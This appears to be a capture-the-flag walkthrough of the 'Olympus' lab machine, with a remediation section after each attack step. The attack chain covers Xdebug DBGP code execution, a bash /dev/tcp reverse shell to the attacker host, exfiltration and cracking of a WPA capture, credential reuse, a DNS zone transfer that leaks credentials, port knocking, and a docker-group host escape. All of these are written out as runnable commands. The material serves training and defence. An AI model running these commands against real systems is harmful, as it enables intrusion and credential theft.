← all walkthroughs

Olympus

Linux· Medium
owned
2026-07-08
time to own
13m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned the target and found an Apache/PHP web server whose HTTP response headers advertised Xdebug 2.5.5 — a PHP remote debugger — was active and unauthenticated. A DBGP eval command delivered a reverse shell as the web user inside a Docker container. Filesystem enumeration inside the container recovered a WPA wireless capture file left by a prior airgeddon session, which was exfiltrated and cracked offline to recover the wireless passphrase.

That passphrase had been reused verbatim as the SSH password for user icarus on an alternate SSH listener at port 2222, giving an interactive shell in a second container. A hint file in icarus's home directory named a subdomain; a DNS zone transfer against it leaked a port-knock sequence and credentials for the prometheus account inside a DNS TXT record — credentials that should never appear in public DNS. Performing the knock sequence opened the real SSH port, and prometheus authenticated successfully.

Because prometheus was a member of the docker group — an effective root equivalent — a container was launched with the host's root filesystem bind-mounted, granting unrestricted access to every file on the host, including both flags.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationHTTP response header fingerprinting / service banner enumeration
Discovered open ports and identified an unauthenticated PHP debugger via HTTP response header
A full TCP port scan of $TARGET found port 22 filtered, port 53 open (BIND DNS), port 80 open (Apache/PHP), and port 2222 open (SSH). A plain HTTP request to port 80 returned the response header 'Xdebug: 2.5.5', disclosing that the production PHP stack had Xdebug's remote debugger compiled in and active — with its default DBGP callback port 9000 reachable from the internet.
Nmap: 22/tcp filtered, 53/tcp open, 80/tcp open, 2222/tcp open. Curl -i http://$TARGET/ returned response header 'Xdebug: 2.5.5'.
Exact commands 2
Full TCP port scan to discover all open and filtered ports.
nmap -p- --min-rate 3000 -Pn -T4 $TARGET
Fetch HTTP response headers; the Xdebug version banner appears in the output.
curl -i http://$TARGET/
FixDisable Xdebug and all PHP debug extensions in productionCritical
WeaknessThe production web server had Xdebug 2.5.5 loaded with remote debugging enabled. Xdebug's DBGP protocol accepts unauthenticated debugger sessions and executes arbitrary PHP supplied via an eval command, giving anyone who can reach port 9000 immediate remote code execution as the web server user — no credentials or vulnerability needed beyond network access.
FixRemove or disable the Xdebug extension in all non-development environments: comment out or delete the extension= line for xdebug in php.ini and remove the Xdebug .so file from the extensions directory. Use separate php.ini files per environment (production vs development) and enforce this distinction in your deployment pipeline and container build process. If remote debugging is needed in a staging environment, set xdebug.remote_host to a single trusted IP and block port 9000 at the network firewall. Never ship a container or server image to production with Xdebug present — audit images with 'php -m | grep xdebug' in CI before any deploy.
2ExploitationXdebug 2.5.x unauthenticated DBGP remote eval (T1203)
Exploited Xdebug 2.5.5 unauthenticated DBGP eval for remote code execution
Xdebug 2.5.x's DBGP remote-debug protocol makes the PHP process call back to my own IP on port 9000 whenever a debug session is triggered. Because no authentication is required, I set up a DBGP listener, triggered the callback via a crafted HTTP request, and sent a DBGP 'eval' command containing a base64-encoded PHP system() reverse-shell payload. This yielded a shell as www-data inside Docker container f00ba96171c5 at /var/www/html.
Reverse shell caught on listener port 4444; id confirmed www-data inside container f00ba96171c5 at /var/www/html.
Exact commands 3
Catch the reverse shell — run in a separate terminal.
nc -lnvp 4444
Xdebug 2.5.x DBGP exploit script: listens on port 9000, sends an eval payload when the debugger calls back. Replace <LHOST> with $USERNAME IP. Public reference: github.com/nqxcode/xdebug-exploit.
python3 xdebug_exploit.py --target-host $TARGET --target-port 80 --lhost <LHOST> --lport 9000 --command 'bash -c "bash -i >& /dev/tcp/<LHOST>/4444 0>&1"'
If the script does not auto-trigger, send this request to force the Xdebug callback to <LHOST>:9000.
curl -s http://$TARGET/index.php -H 'X-Forwarded-For: <LHOST>'
3Post-ExploitationFilesystem enumeration / sensitive file exposure (T1083)
Located and exfiltrated a WPA wireless capture file from the container filesystem
From the www-data shell, a recursive filesystem search found /home/zeus/airgeddon/captured/captured.cap — a WPA 4-way handshake capture file left on the container by the airgeddon wireless auditing toolkit. The file was copied into the Apache web root and downloaded over HTTP, providing an offline-crackable credential artifact.
Find / -name '*.cap' returned /home/zeus/airgeddon/captured/captured.cap; curl retrieved it over port 80.
Exact commands 3
Search the container filesystem for wireless capture files.
find / -name '*.cap' 2>/dev/null
Stage the capture file in the Apache web root for exfiltration.
cp /home/zeus/airgeddon/captured/captured.cap /var/www/html/captured.cap
Download the capture file to the $USERNAME's machine.
curl -o captured.cap http://$TARGET/captured.cap
FixRemove sensitive credential files from server and container filesystems; enforce unique passwords per serviceHigh
WeaknessA WPA wireless capture file containing a crackable 4-way handshake was stored in a home directory inside a production Docker container accessible via the compromised web process. The recovered passphrase was identical to the SSH password for the icarus account — credential reuse meant that cracking one easily-found file unlocked a second independent service, compounding the impact significantly.
FixNever store wireless capture files, private keys, or password databases on servers or inside container images: add *.cap and *.pcap to .dockerignore and to a CI pre-commit policy that blocks sensitive-file commits. Purge any existing captures immediately and audit all home directories on container hosts. Enforce password uniqueness across every service: SSH account passwords must not match Wi-Fi passphrases, database passwords, or any other shared secret. Use a password manager to generate and track unique credentials per account and service, and rotate all passwords that may have been shared or derived from a common source.
4Credential AccessOffline WPA handshake dictionary attack (T1110.002)
Cracked the WPA handshake offline to recover a plaintext passphrase
The captured.cap file contained a WPA 4-way handshake for SSID '[REDACTED: recovered credential]'. Running aircrack-ng against rockyou.txt recovered the matching passphrase in seconds, providing a plaintext credential ready for reuse testing across services.
Aircrack-ng output: KEY FOUND! [ [REDACTED: recovered credential] ] for ESSID '[REDACTED: recovered credential]', BSSID F4:EC:38:AB:A8:A9.
Exact commands 1
Dictionary attack against the captured WPA handshake; recovers the plaintext passphrase.
aircrack-ng captured.cap -w /usr/share/wordlists/rockyou.txt
5Lateral MovementCredential reuse (T1078)
Reused the cracked wireless passphrase as icarus's SSH password; found ctfolympus.htb clue
The cracked Wi-Fi passphrase '[REDACTED: recovered credential]' had been set as the system SSH password for user icarus on the alternate SSH listener at port 2222. Login succeeded, placing I inside a second Docker container (620b296204a3) as icarus. The file /home/icarus/help_of_the_gods.txt referenced the domain ctfolympus.htb, pointing toward the next pivot.
Validated: sshpass -p '[REDACTED: recovered credential]' ssh -p 2222 icarus@$TARGET yielded uid=1000(icarus) in container 620b296204a3. Help_of_the_gods.txt disclosed ctfolympus.htb.
Exact commands 2
Log in as icarus using the cracked WPA passphrase on the non-standard SSH port.
sshpass -p "$PASSWORD" ssh -p 2222 -o StrictHostKeyChecking=no icarus@$TARGET
Read the hint file that reveals the ctfolympus.htb subdomain for DNS enumeration.
cat /home/icarus/help_of_the_gods.txt
6EnumerationUnauthenticated DNS AXFR zone transfer / credential in DNS TXT record (T1590.002)
DNS zone transfer for ctfolympus.htb disclosed port-knock sequence and prometheus credentials
A DNS AXFR zone transfer request for ctfolympus.htb against the target's BIND server succeeded without authentication — zone transfers were not restricted to authorised secondary servers. The zone's TXT record explicitly named user prometheus, the three-port knock sequence required to unfilter SSH (3456 → 8234 → 62431), and the plaintext SSH password [REDACTED: recovered credential], handing I a complete credential package without any brute-force.
Validated: dig axfr ctfolympus.htb @$TARGET returned TXT record: 'prometheus, open a temporal portal to Hades (3456 8234 62431) and [REDACTED: recovered credential]'
Exact commands 1
Request the full DNS zone for ctfolympus.htb; the TXT record contains the username, passphrase, and port-knock sequence verbatim.
dig axfr ctfolympus.htb @$TARGET
FixRestrict DNS zone transfers to authorised servers and remove all credentials from DNS recordsCritical
WeaknessThe BIND server permitted unauthenticated AXFR zone transfers from any source IP, exposing the entire ctfolympus.htb zone to any requester on the internet. A TXT record within that zone embedded a username, a plaintext SSH password, and a port-knock sequence — so a single unauthenticated DNS request delivered a complete, ready-to-use credential set with no further effort required.
FixIn named.conf, restrict zone transfers to authorised secondary name-server IPs only using the allow-transfer directive, and authenticate legitimate transfers with TSIG keys. Audit every TXT, SRV, and CNAME record for embedded credentials, tokens, or internal instructions and remove them — DNS records are public. Replace port knocking (security through obscurity) with a proper VPN such as WireGuard or OpenVPN for administrative SSH access, and enforce key-based SSH authentication by setting PasswordAuthentication no in sshd_config.
7ExploitationPort-knocking bypass (T1205.001) / valid credentials (T1078)
Port-knock sequence opened SSH port 22; authenticated as prometheus on the host
Sending a TCP connection to each knock port in order (3456, then 8234, then 62431) triggered the host firewall to open port 22. SSH as prometheus with the password from the DNS TXT record immediately succeeded, placing on the, I host itself — outside any Docker container — as a named user account.
Kill-chain command shows the knock sequence followed by sshpass SSH as prometheus succeeding; id confirmed docker group membership.
Exact commands 3
Send the three-port knock sequence to unfilter port 22. Fallback if knock is unavailable: 'for p in 3456 8234 62431; do nc -z -w1 $TARGET $p; sleep 0.15; done'.
knock -d 150 $TARGET 3456 8234 62431
SSH to the now-open port 22 using credentials recovered from the DNS TXT record.
sshpass -p '$PASSWORD2' ssh -o StrictHostKeyChecking=no -o ConnectTimeout=8 prometheus@$TARGET
Confirm group membership; output will include 'docker', confirming the privilege-escalation path.
id
8Privilege EscalationDocker group container host escape (T1611 — Escape to Host)
Abused docker group membership to bind-mount the host filesystem and read flags as root
The prometheus account was a member of the docker group. Docker group membership is root-equivalent: any member can run 'docker run' without sudo, mount the host root filesystem, and execute as UID 0, bypassing all host file-permission controls. Running a container with -v /:/mnt and -u 0 allowed reading /root/root.txt and /home/prometheus/user.txt directly from the host — full system compromise with no additional exploit required.
Docker run --rm -v /:/mnt -u 0 olympia sh -c 'cat /mnt/root/root.txt' returned <root.txt>; user flag likewise read via the same mount.
Exact commands 2
Mount the host filesystem into the container as root and read user.txt. Run 'docker images' to list available image names if 'olympia' differs.
docker run --rm -v /:/mnt -u 0 olympia sh -c 'id && cat /mnt/home/prometheus/user.txt'
Read root.txt directly from the host — no further exploit needed.
docker run --rm -v /:/mnt -u 0 olympia sh -c 'cat /mnt/root/root.txt'
FixRemove unprivileged users from the docker group and enforce least-privilege container managementCritical
WeaknessThe prometheus account was a member of the docker group. Because the Docker daemon runs as root, docker group membership allows any member to run containers without sudo, mount the host filesystem with -v /:/mnt, and read or write any file as root — functionally identical to unrestricted passwordless sudo, with no audit trail on the host itself.
FixRemove all non-root accounts from the docker group immediately: 'sudo gpasswd -d prometheus docker'. Audit all current members with 'getent group docker'. For legitimate automation or monitoring use cases, switch to rootless Docker ('systemctl --user enable --now docker') or Podman, which run without a privileged daemon. If the docker socket must be shared, gate access through an authorisation plugin such as Open Policy Agent that blocks bind-mounts of / and prohibits privileged containers. Add a review of /etc/group and /etc/sudoers to your regular access-review cadence.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Exposed services

53/tcp
80/tcp
53/udp
2222/tcp
22/tcp